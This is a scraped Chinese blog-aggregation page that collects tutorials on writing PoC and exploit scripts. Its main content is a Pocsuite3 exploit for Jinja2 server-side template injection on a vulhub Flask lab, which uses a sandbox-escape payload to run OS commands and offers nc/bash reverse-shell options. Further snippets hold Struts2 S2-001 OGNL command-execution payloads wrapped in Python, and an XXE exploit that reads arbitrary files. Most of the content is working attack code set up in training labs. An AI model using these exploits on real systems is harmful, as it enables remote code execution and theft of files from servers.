精华内容
下载资源
问答
  • POC和EXP脚本

    2021-01-25 17:42:50
    引言 在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘...因为市面上有关POC和EXP脚本的教程比较稀少,但是比较明确的是想要写好POC和EXP,一般都要有一些网络编程的基础,python的要会基本的爬虫

    引言

    在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了。POC全称是Proof of Concept,中文译作概念验证。它是专门为了验证漏洞是否真的存在的脚本。而EXP全称是Exploit,中文译作漏洞利用程序。它是对POC验证结果的一种漏洞利用脚本。

    编程基础

    因为市面上有关POC和EXP脚本的教程比较稀少,但是比较明确的是想要写好POC和EXP,一般都要有一些网络编程的基础,python的要会基本的爬虫,Java的输入输出流等,更高级点的涉及到pwn模块的软件漏洞利用和汇编反汇编的知识,总的来说,对厉害的人来说这些都是小case,对小白来说这都是天方夜谭、无从下手。写POC和EXP的思路是最重要的,明白漏洞在哪,从那里开始发散思路,因此要对漏洞原理了熟于心。

    Pocsuite渗透测试框架

    Pocsuite是一款基于漏洞与POC的远程漏洞验证框架,支持Windows/Linux/Mac OS X等系统,整个框架操作灵活,既方便了对漏洞的管理、查找等,也提高了工作效率。

    安装步骤

    方法一:通过git命令来克隆GitHub进行下载

    git clone git@github.com:nopesec/pocsuite3.git
    

    方法二:使用wget命令下载对应的zip包进行安装

    wget https://github.com/knownsec/pocsuite3/archive/master.zip
    

    方法三:直接使用pip命令进行安装(本人使用的是这个,但是网络不稳定)

    pip3 install pocsuite3
    

    完成安装后输入pocsuite -version查看poc的版本,pocsuite3不支持python2版本,必须是python3才能安装成功。

    Pocsuite3的参数及作用

    参考它的文档

    • PoC scripts can running with attack,verify, shell mode in different way
    • Plugin ecosystem
    • Dynamic loading PoC script from any where (local file, redis , database, Seebug …)
    • Load multi-target from any where (CIDR, local file, redis , database, Zoomeye, Shodan …)
    • Results can be easily exported
    • Dynamic patch and hook requests
    • Both command line tool and python package import to use
    • IPV6 support
    • Global HTTP/HTTPS/SOCKS proxy support
    • Simple spider API for PoC script to use
    • Integrate with Seebug (for load PoC from Seebug website)
    • Integrate with ZoomEye (for load target from ZoomEye Dork)
    • Integrate with Shodan (for load target from Shodan Dork)
    • Integrate with Ceye (for verify blind DNS and HTTP request)
    • Integrate with Fofa (for load target from Fofa Dork)
    • Friendly debug PoC scripts with IDEs

    Flask环境搭建

    下载github中的文件并使用docker-compose搭建起flask环境

    git clone https://github.com/vulhub/vulhub
    cd vulhub
    docker-compose build	//编译下载漏洞环境所需的配置
    docker-compose up -d	//启动漏洞环境
    

    出现这个表明搭建成功
    在这里插入图片描述

    注入原理

    Flask依赖中就有造成模板注入漏洞的插件Jinja2的模板引擎,Jinja2是一个面向Python的模板语言。我们先来审计源码
    在这里插入图片描述
    从这里可以看出name的值是直接从get参数中获取的,所以Template是完全可控的。

    我们在GET请求中传入一个任意参数,成功将模板语言传递到参数中
    在这里插入图片描述

    POC脚本编写

    POC的命名形式为:组成漏洞应用名_版本号_漏洞类型名称,形如_1847_seeyon_3_1_login_info_disclosure.py

    from collections import OrderedDict
    from urllib.parse import urljoin
    import re
    from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
    from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
    
    class FlaskPOC(POCBase):
        vulID = '1.1'		#ssvid ID,如果是提交漏洞的同时提交POC,则写成0
        version = '1.1'		#默认为1
        author = ['1.1']	#POC作者的名字
        vulDate = '1.1'		#漏洞公开的时间,不明确是可以写今天
        createDate = '1.1'	#编写POC的日期
        updateDate = '1.1'	#POC更新的时间,默认和编写时间一样
        references = ['flask']	#漏洞地址来源,0day不用写
        name = 'flask'			#POC名称
        appPowerLink = 'flask'	#漏洞厂商的主页地址
        appName = 'flask'		#漏洞应用名称
        appVersion = 'flask'	#漏洞影响版本
        vulType = VUL_TYPE.CODE_EXECUTION	#漏洞类型
        desc = '''				
            
        '''						#漏洞简要描述
        samples = ['127.0.0.1:8000']	#测试样例,使用POC测试成功的网站
        category = POC_CATEGORY.EXPLOITS.REMOTE
    
    	    def _options(self):
            o = OrderedDict()
            payload = {
                "nc": REVERSE_PAYLOAD.NC,
                "bash": REVERSE_PAYLOAD.BASH,
            }
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    
        def _verify(self):
            result = {}
            path = "?name="
            url = self.url + path
            # print(url)
            payload = "{{22*22}}"
            # print(payload)
            try:
                resq = requests.get(url + payload)
                if resq and resq.status_code == 200 and "484" in resq.text:
                    result['VerifyInfo'] = {}
                    result['VerifyInfo']['URL'] = url
                    result['VerifyInfo']['Name'] = payload
            except Exception as e:
                return
            return self.parse_output(result)
    
    
        def parse_output(self,result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    register_poc(FlaskPOC)
    

    上面使用了一个简单的payload便验证了这个漏洞确实是存在的,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞。
    在这里插入图片描述

    编写EXP脚本

    EXP脚本的编写和POC脚本编写一样,只需要加多一段漏洞利用代码即可。关于Jinja2注入的方法,官方给出的方法是在模板环境中注册函数就可以进行调用了。这里需要用到Python沙盒逃逸的方法。

    from collections import OrderedDict
    from urllib.parse import urljoin
    import re
    from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
    from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
    
    
    class FlaskEXP(POCBase):
        vulID = '1.1'
        version = '1.1'
        author = ['1.1']
        vulDate = '1.1'
        createDate = '1.1'
        updateDate = '1.1'
        references = ['flask']
        name = 'flask'
        appPowerLink = 'flask'
        appName = 'flask'
        appVersion = 'flask'
        vulType = VUL_TYPE.CODE_EXECUTION
        desc = '''
    
        '''
        samples = ['127.0.0.1:8000']
        category = POC_CATEGORY.EXPLOITS.REMOTE
    
        def _options(self):
            o = OrderedDict()
            payload = {
                "nc": REVERSE_PAYLOAD.NC,
                "bash": REVERSE_PAYLOAD.BASH,
            }
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    
        def _attack(self):
            result = {}
            path = "/?name="
            url = self.url + path
            # print(url)
            cmd = self.get_option("command")
            payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
            # print(payload)
            try:
                resq = requests.get(url + payload)
                t = resq.text
                t = t.replace('\n', '').replace('\r', '')
                print(t)
                t = t.replace(" ", "")
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
            except Exception as e:
                return
            return self.parse_attack(result)
    
        def parse_attack(self, result):
            output = Output(self)
            if result:
                output.success(result)
            else:
                output.fail('target is not vulnerable')
            return output
    register_poc(FlaskEXP)
    

    攻击成功
    在这里插入图片描述
    上面的脚本将接收到的命令赋值给command参数

        def _options(self):
            o = OrderedDict()
            payload = {
                "nc": REVERSE_PAYLOAD.NC,
                "bash": REVERSE_PAYLOAD.BASH,
            }
            o["command"] = OptDict(selected="bash", default=payload)
            return o
    

    接下来创造了一个cmd变量,用于接收用户的command命令参数,并嵌入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目标系统,这样就能够在目标系统中执行命令了。

        def _attack(self):
            result = {}
            path = "/?name="
            url = self.url + path
            # print(url)
            cmd = self.get_option("command")
            payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("whoami").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
            # print(payload)
            try:
                resq = requests.get(url + payload)
                t = resq.text
                t = t.replace('\n', '').replace('\r', '')
                print(t)
                t = t.replace(" ", "")
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
            except Exception as e:
                return
            return self.parse_attack(result)
    

    在这里插入图片描述

    总结:SSTI服务端模板注入正是因为代码中通过不安全的字符串拼接的方式来构造模板文件而且过分信任了用户的输入而造成的。大多数模板引擎自身没什么问题,所以在审计时我们重点是找到一个模板,这个模板通过字符串拼接而构造,而且用户输入的数据会影响字符串拼接过程。

    展开全文
  • 针对Windows的PoC很多会被杀毒软件拦截,此为正常现象,请自行斟酌是否下载,如果有带有后门的exp,请通过提交issue联系我。 Windows Microsoft Windows SMB远程代码执行漏洞(永恒之蓝) Microsoft IIS 6.0 远程...
  • 最近在练写poc和exp,在github上的vulhub找到了struts2全系列漏洞,打算复现来练写poc和exp。 安装好环境如下: 在密码框输入poc验证%{1+33} 在bp中抓包得到 探寻tomcat路径 %{“tomcatBinDir{”+@java.lang.System...

    最近在练写poc和exp,在github上的vulhub找到了struts2全系列漏洞,打算复现来练写poc和exp。
    安装好环境如下:
    靶机地址:192.168.6.217:8080

    该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
    进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}
    对提交的数据递归执行OGNL 表达式解析,所以直接构造 Payload 进行命令执行

    在这里插入图片描述在密码框输入poc验证%{1+33}
    在这里插入图片描述
    在bp中抓包得到
    在这里插入图片描述探寻tomcat路径

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

    在这里插入图片描述得到路径在这里插入图片描述获取web路径

    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

    在这里插入图片描述命令执行

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    在这里插入图片描述接下来利用这些编写相关环境的poc和exp

    def s2_001(url):
        data = {
            'username': '1213',
            'password': '%{1+12}'
        }
    
        s = requests.post(url=url, data=data, headers=headers)
        soup = BeautifulSoup(s.text, 'lxml')
        flag = soup.find_all("input")
        flag1 = flag[1]
        if "13" in str(flag1):
            print("存在s2-001漏洞")
        else:
            pass
    

    效果为
    在这里插入图片描述

    def s2_001exp(url, exec):
        data = {
            'username': '1212',
            'password': '%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"' +
                        exec + '"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}'
        }
        s = requests.post(url=url, data=data, headers=headers)
        soup = BeautifulSoup(s.text, 'lxml')
        getexec = soup.find("table")
        print(getexec)
    

    exp的效果还没有处理好
    在这里插入图片描述

    展开全文
  • 主要分为两类有回显xxe无回显xxe) 直接访问靶机地址 利用dirb扫描得到了xxeadmin.php页面,访问xxe 抓包进行测试 因为已经是xxe靶机了,所以直接开始编写poc代码。poc的主要代码段为 def poc(url): payload =...

    主机地址:172.16.131.85
    靶机地址:192.168.6.211
    (这里不再对xxe漏洞进行讲解,自行百度。主要分为两类有回显xxe和无回显xxe)
    直接访问靶机地址
    在这里插入图片描述
    利用dirb扫描得到了xxe和admin.php页面,访问xxe
    在这里插入图片描述抓包进行测试
    在这里插入图片描述因为已经是xxe靶机了,所以直接开始编写poc代码。poc的主要代码段为

    def poc(url):
        payload = '<?xml version="1.0" encoding="UTF-8"?>\n'
        payload += '<!DOCTYPE r [\n'
        payload += '<!ENTITY admin "test">\n'
        payload += ']>\n'
        payload += '<a>'
        payload += '<name>&admin;</name>'
        payload += '</a>'
        result = requests.post(url=url, data=payload, headers=headers)
        time.sleep(2)
        content = result.text
        if "test" in content:
            print("存在有回响xxe")
        else:
            # try:
            #     server()
            # except:
            #     pass
            pass
    

    这里的靶机有回显,可根据访问的反弹的内容判断是否存在。在判断之后进行更进一步的编写exp。

    def exp(url, get_exec):
        payload = '<?xml version="1.0" encoding="UTF-8"?>\n'
        payload += '<!DOCTYPE r [\n'
        payload += '<!ENTITY admin SYSTEM "{}">\n'.format(get_exec)
        payload += ']>\n'
        payload += '<a>'
        payload += '<name>&admin;</name>'
        payload += '</a>'
    
        result = requests.post(url=url, data=payload, headers=headers)
        time.sleep(2)
        content = result.text
    
        print(content)
    

    考虑到输入的查询指令不止一个,所以需要写一个while True不断的接收输入

    if __name__ == '__main__':
        url = input("input the url:")
        poc(url)
        try:
            while True:
                getexec = input("get more:")
                print("")
    
                exp(url, getexec)
                print("")
        # 监听是否输入crtl+c,终结程序        
        except KeyboardInterrupt:
            print("back")
    

    到此的效果为
    在这里插入图片描述
    接着查看admin.php的源代码
    在这里插入图片描述到此开始设想完成无回显的验证,但是没有实验环境的支持只能注释掉

    # 尝试创建简易web服务端,解决无回显的xxe
    # def handle_client(client_socket):
    #     request = client_socket.recv(2048)
    #
    #     print("[*] Received: %s" % request)
    #
    #
    #
    # def server():
    #     bind_ip = ""
    #     bind_port = 80
    #     server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #     server.bind((bind_ip, bind_port))
    #     server.listen(5)
    #
    #     while True:
    #         client, addr = server.accept()
    #         print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
    #
    #         client_handler = threading.Thread(target=handle_client, args=(client,))
    #         client_handler.start()
    

    编写完成,但是还存在一些残缺(小白,不喜勿喷)

    展开全文
  • Weblogic的漏洞poc和exp汇总

    千次阅读 2019-11-19 16:41:54
    团队github地址:https://github.com/BetaSecLab/betaseclab_tools
    展开全文
  • 白阁文库 简介 此仓库是白泽Sec团队对于白阁文库的内测版: Github访问: : ...进攻投稿邮箱: 贡献指南 贡献文档要求 当你打算贡献某部分的内容时,你应该尽量确保 文档内容满足基本格式要求 文档的合理性以及准确...
  • 漏洞原理 当用户提交 age 为字符串而非整形数值时,后端用代码拼接 “’” + value + “’” 然后对其进行 OGNL ...试图尽量接近实验环境进行编写poc,因此在这次的poc编写的时候,是利用BeautifulSoup获取input
  • 在安装好环境后,页面如下 ...S2-005则是绕过官方的安全配置(禁止静态方法调用类方法执行),再次造成漏洞。 在github上有一段没有回显的poc验证 (%27%5cu0023_memberAccess[%5c%27allowStaticM
  • ElasticSearch Groovy远程代码执行POC和exp

    万次阅读 2015-03-04 19:57:14
    在1.3.0版本,开始使用groovysandbox来进行脚本执行,其中使用了白名单机制,限制了可以调用的类方法等等。 但是因为Java中的反射机制,我们可以通过白名单中的类获取到Runtime,也就造成了远程代码执行漏洞,...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,076
精华内容 1,230
关键字:

poc和exp